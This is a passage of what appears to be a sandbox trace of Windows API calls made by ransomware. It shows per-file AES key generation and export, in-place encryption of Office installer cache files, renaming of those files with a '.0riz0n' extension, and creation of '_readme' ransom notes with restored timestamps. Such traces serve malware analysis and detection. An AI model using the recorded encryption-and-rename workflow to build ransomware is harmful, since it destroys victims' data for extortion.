returned 0xa3cf08 [0158.487] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60*(dwLowDateTime=0xe7c4ba40, dwHighDateTime=0x1d301be)) returned 1 [0158.487] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0158.487] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0158.487] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0158.487] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0158.487] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0158.487] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0158.488] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0158.488] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0158.488] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0158.488] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0158.488] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x387e00) returned 0x2340020 [0158.489] ReadFile (in: hFile=0x1c0, lpBuffer=0x2340020, nNumberOfBytesToRead=0x387e00, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesRead=0x1a7fab0*=0x387e00, lpOverlapped=0x0) returned 1 [0158.631] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x387e00) returned 0x26d0020 [0158.715] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2340020) returned 1 [0158.730] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x387e00) returned 0x2340020 [0158.730] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0158.790] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x26d0020) returned 1 [0158.973] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x388200) returned 0x26d0020 [0159.064] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x26d0020*, pdwDataLen=0x1a7faac*=0x387e00, dwBufLen=0x388200 | out: pbData=0x26d0020*, pdwDataLen=0x1a7faac*=0x387e10) returned 1 [0159.110] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x387e40) returned 0x2a60020 [0159.594] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2340020) returned 1 [0159.614] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x26d0020) returned 1 [0159.639] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0159.639] WriteFile (in: hFile=0x1c0, lpBuffer=0x2a60020*, nNumberOfBytesToWrite=0x387e00, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2a60020*, lpNumberOfBytesWritten=0x1a7fab0*=0x387e00, lpOverlapped=0x0) returned 1 [0159.723] FlushFileBuffers (hFile=0x1c0) returned 1 [0159.818] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0159.818] NtClose (Handle=0x1c0) returned 0x0 [0159.818] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.0riz0n")) returned 1 [0159.819] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.0riz0n", dwFileAttributes=0x2020) returned 1 [0159.819] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0159.819] GetLastError () returned 0x2 [0159.819] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x9845c8, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0159.819] GetLastError () returned 0x2 [0159.819] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0159.829] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0159.829] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0159.830] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0159.830] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x1b) returned 0x1c7f030 [0159.830] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4*(dwLowDateTime=0x76ffd130, dwHighDateTime=0x1d59598)) returned 1 [0159.830] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0159.830] NtClose (Handle=0x1c0) returned 0x0 [0159.830] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0159.831] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0159.831] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0159.831] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2a60020) returned 1 [0159.846] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0159.846] CryptDestroyKey (hKey=0x829d78) returned 1 [0159.846] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0159.846] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0159.846] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0159.846] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0159.846] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5)) returned 1 [0159.847] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0159.847] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0159.847] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0159.847] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0159.847] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0159.847] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0159.847] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0159.847] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5)) returned 1 [0159.847] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0159.847] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0159.847] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0159.847] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0159.847] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0159.847] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5)) returned 1 [0159.847] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0159.848] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0159.848] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0159.848] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0159.848] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0159.848] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0159.848] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0159.848] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60*(dwLowDateTime=0xe7c27050, dwHighDateTime=0x1d301be)) returned 1 [0159.848] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0159.848] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0159.848] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0159.848] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0159.848] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0159.848] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0159.849] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0159.849] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0159.849] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0159.849] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0159.849] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x15c0) returned 0xa58890 [0159.849] ReadFile (in: hFile=0x1c0, lpBuffer=0xa58890, nNumberOfBytesToRead=0x15b5, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa58890*, lpNumberOfBytesRead=0x1a7fab0*=0x15b5, lpOverlapped=0x0) returned 1 [0159.851] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x15c0) returned 0x1b19ee0 [0159.851] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa58890) returned 1 [0159.851] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x15c0) returned 0xa58890 [0159.851] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0159.851] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1b19ee0) returned 1 [0159.851] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x19c0) returned 0x1b19ee0 [0159.851] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1b19ee0*, pdwDataLen=0x1a7faac*=0x15b5, dwBufLen=0x19b5 | out: pbData=0x1b19ee0*, pdwDataLen=0x1a7faac*=0x15c0) returned 1 [0159.851] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1b19ee0) returned 1 [0159.851] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0159.851] WriteFile (in: hFile=0x1c0, lpBuffer=0xa58890*, nNumberOfBytesToWrite=0x15b5, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa58890*, lpNumberOfBytesWritten=0x1a7fab0*=0x15b5, lpOverlapped=0x0) returned 1 [0159.851] FlushFileBuffers (hFile=0x1c0) returned 1 [0159.854] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0159.854] NtClose (Handle=0x1c0) returned 0x0 [0159.854] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.0riz0n")) returned 1 [0159.855] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0159.855] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0159.855] GetLastError () returned 0x2 [0159.855] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x9845e8, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0159.855] GetLastError () returned 0x2 [0159.855] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0159.856] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0159.856] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0159.856] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0159.856] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x13) returned 0x1be3cf0 [0159.857] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4*(dwLowDateTime=0x770493f0, dwHighDateTime=0x1d59598)) returned 1 [0159.857] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0159.857] NtClose (Handle=0x1c0) returned 0x0 [0159.857] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0159.857] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0159.857] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0159.857] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa58890) returned 1 [0159.857] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0159.857] CryptDestroyKey (hKey=0x829d78) returned 1 [0159.857] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0159.857] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0159.857] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0159.857] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0159.857] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200)) returned 1 [0159.858] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0159.858] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0159.858] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0159.858] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0159.858] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0159.858] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0159.858] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0159.858] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200)) returned 1 [0159.858] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0159.858] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0159.858] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0159.858] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0159.858] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0159.858] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200)) returned 1 [0159.858] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0159.858] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0159.859] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0159.859] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0159.859] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0159.859] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0159.859] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0159.859] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60*(dwLowDateTime=0xe7b68970, dwHighDateTime=0x1d301be)) returned 1 [0159.859] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0159.859] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0159.859] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0159.859] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0159.859] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0159.859] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0159.859] RtlAllocateHeap 